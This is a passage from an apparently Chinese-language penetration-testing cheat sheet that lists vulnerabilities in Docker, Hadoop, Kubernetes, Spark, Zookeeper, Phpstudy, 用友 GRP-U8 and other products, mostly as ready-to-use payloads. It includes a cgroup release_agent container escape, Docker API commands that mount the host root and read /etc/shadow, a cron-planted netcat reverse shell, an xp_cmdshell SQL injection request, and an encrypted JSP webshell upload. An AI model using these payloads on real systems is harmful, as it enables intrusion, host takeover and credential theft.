进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行 release_agent 文件。echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent cat /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ls > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" head /output
Docker Remote API 未授权访问漏洞
-
概述
Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。存在问题的版本分别为 1.3 和 1.6 因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
-
文章
-
POC | Payload | exp
http://[ip]:2375/version
docker -H tcp://[IP]:2375 version docker -H tcp://[IP]:2375 ps docker -H tcp://[IP] run -it --privileged=true busybox sh fdisk -l mkdir /aaa mount /dev/dm-0 /aaa 或 docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt busybox sh cd /mnt ls 或 docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow chroot /mnt
- netxfly/docker-remote-api-exp
- Tycx2ry/docker_api_vul
- docker daemon api 未授权访问漏洞
import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 反弹地址 反弹端口 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
CVE-2019-5736 漏洞逃逸
-
概述
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,runC 是用于创建和运行 Docker 容器的 CLI 工具,runC 18.09.2版本前的 Docker 允许恶意容器覆盖宿主机上的 runC 二进制文件。攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改掉 runc 的二进制文件,从而获取到宿主机的 root 执行权限。
-
影响版本
- Docker Version < 18.09.2
- runC Version <= 1.0-rc6
-
相关文章
-
复现实验
-
POC | Payload | exp
CVE-2019-13139 Docker build code execution
-
概述
在 18.09.4 之前的 Docker 中,能够提供或操纵 "docker build "命令的构建路径的攻击者将能够获得命令执行。在 "docker build "处理远程 git URL 的方式中存在一个问题,并导致命令注入到底层的 "git clone "命令中,从而导致用户在执行 "docker build "命令的上下文中执行代码。出现这种情况是因为 git ref 可能被误解为标志。
-
影响版本
- Docker Version < 18.09.4
-
相关文章
-
POC | Payload | exp
docker build "[email protected]/a/b#--upload-pack=echo "hello">flag;#:"
CVE-2019-14271 Docker cp
-
概述
在在与 GNU C 库(也称为 glibc)链接的 19.03.1 之前的 Docker 19.03.x 中,当 nsswitch 工具动态地在包含容器内容的 chroot 内加载库时,可能会发生代码注入。
-
影响版本
- 19.03 <= Docker Version < 19.03.1
-
相关文章
CVE-2020-3952
-
文章
-
POC | Payload | exp
Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。
文章
未授权访问漏洞
-
概述
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
-
示例
http://[ip]:8088/ http://[ip]:50070 http://[ip]:50070/dfshealth.jsp http://[ip]:50070/logs/
-
POC | Payload | exp
kubernetes,简称 K8s,是 Google 开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时,通常要部署该应用的多个实例以便对应用请求进行负载均衡。
相关工具
- cdk-team/CDK - 款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
未授权访问漏洞
Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行.
未授权访问漏洞
-
概述
如果管理节点未启动 ACL (访问控制) ,我们将可以在集群中执行任意代码.
-
文章
Apache Zookeeper 是美国阿帕奇(Apache)软件基金会的一个软件项目,它能够为大型分布式计算提供开源的分布式配置服务、同步服务和命名注册等功能。
未授权访问漏洞
-
概述
Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill 命令)。攻击者能够执行所有只允许由管理员运行的命令。
-
文章
-
搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz tar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/conf mv zoo_sample.cfg zoo.cfg ../bin/zkServer.sh start ../bin/zkCli.sh -server 127.0.0.1:2181 # 连接 server
-
利用
echo envi|nc [ip] 2181 # 打印有关服务环境的详细信息 echo dump |ncat [ip] 2181 # 列出未完成的会话和临时节点 echo reqs |ncat [ip] 2181 # 列出未完成的请求 echo ruok |ncat [ip] 2181 # 测试服务器是否运行在非错误状态 echo stat |ncat [ip] 2181 # 列出关于性能和连接的客户端的统计信息 ./zkCli.sh -server [ip]:port
CVE-2014-0085 ZooKeeper 信息泄露漏洞
-
简介
Apache Zookeeper 中存在安全漏洞,该漏洞源于程序记录明文 admin 密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。
-
文章
Phpstudy 后门 RCE
- POC | Payload | exp
GET /1.php HTTP/1.1 Host: example.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Accept-Encoding:gzip,deflate Accept-Charset:这里就是要执行的命令base64加密 c3lzdGVtKCdjYWxjLmV4ZScpOw== Cookie: UM_distinctid=16ae380e49f27e-0987ab403bca49-3c604504-1fa400-16ae380e4a011b; CNZZDATA3801251=cnzz_eid%3D1063495559-1558595034-%26ntime%3D1559102092; CNZZDATA1670348=cnzz_eid%3D213162126-1559207282-%26ntime%3D1559207282 Connection: close
PhpStudy nginx 解析漏洞
-
文章
-
POC | Payload | exp 需要把 php 恶意文件上传到服务器。
<?php phpinfo();?>
通过 /x.txt/x.php 方式访问上传的图片地址,解析 php 代码。
宝塔面板 phpMyadmin 未授权访问
- POC | Payload | exp
xxx.xxx.xxx.xxx:888/pma
用友 GRP-U8 SQL 注入
- POC | Payload | exp
- 用友GRP-U8 SQL注入
POST /Proxy HTTP/1.1 Accept: Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host Content-Length: 357 Connection: Keep-Alive Cache-Control: no-cache cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
- 用友GRP-U8 SQL注入
联软准入系统任意文件上传
- POC | Payload | exp
- 联软准入系统任意文件上传
POST /uai/download/uploadfileToPath.htm HTTP/1.1 HOST: xxxxx -----------------------------570xxxxxxxxx6025274xxxxxxxx1 Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp" Content-Type: image/png <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> -----------------------------570xxxxxxxxx6025274xxxxxxxx1 Content-Disposition: form-data; name="uploadpath" ../webapps/notifymsg/devreport/ -----------------------------570xxxxxxxxx6025274xxxxxxxx1--
- 联软准入系统任意文件上传
CVE-2020-6207 SAP Solution Manager RCE
- POC | Payload | exp
研华 WebAccess 软件是研华物联网应用平台解决方案的核心,为用户提供一个基于 HTML5 技术用户界面,实现跨平台、跨浏览器的数据访问体验。使用 WebAccess 后,用户可以建立一个信息管理平台,同步提高垂直市场管理发展的效率。
CVE-2017-16720 Advantech WebAccess远程命令执行
-
简介
此漏洞允许攻击者使用 RPC 协议通过 TCP 端口 4592 执行远程命令。
通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe 服务将命令行指令传递给主机, webvrpcs.exe 服务以管理员访问权限运行。版本小于 8.3、8.3.1、8.3.2 仍然存在特定的安全漏洞。
-
相关文章
-
POC | Payload | exp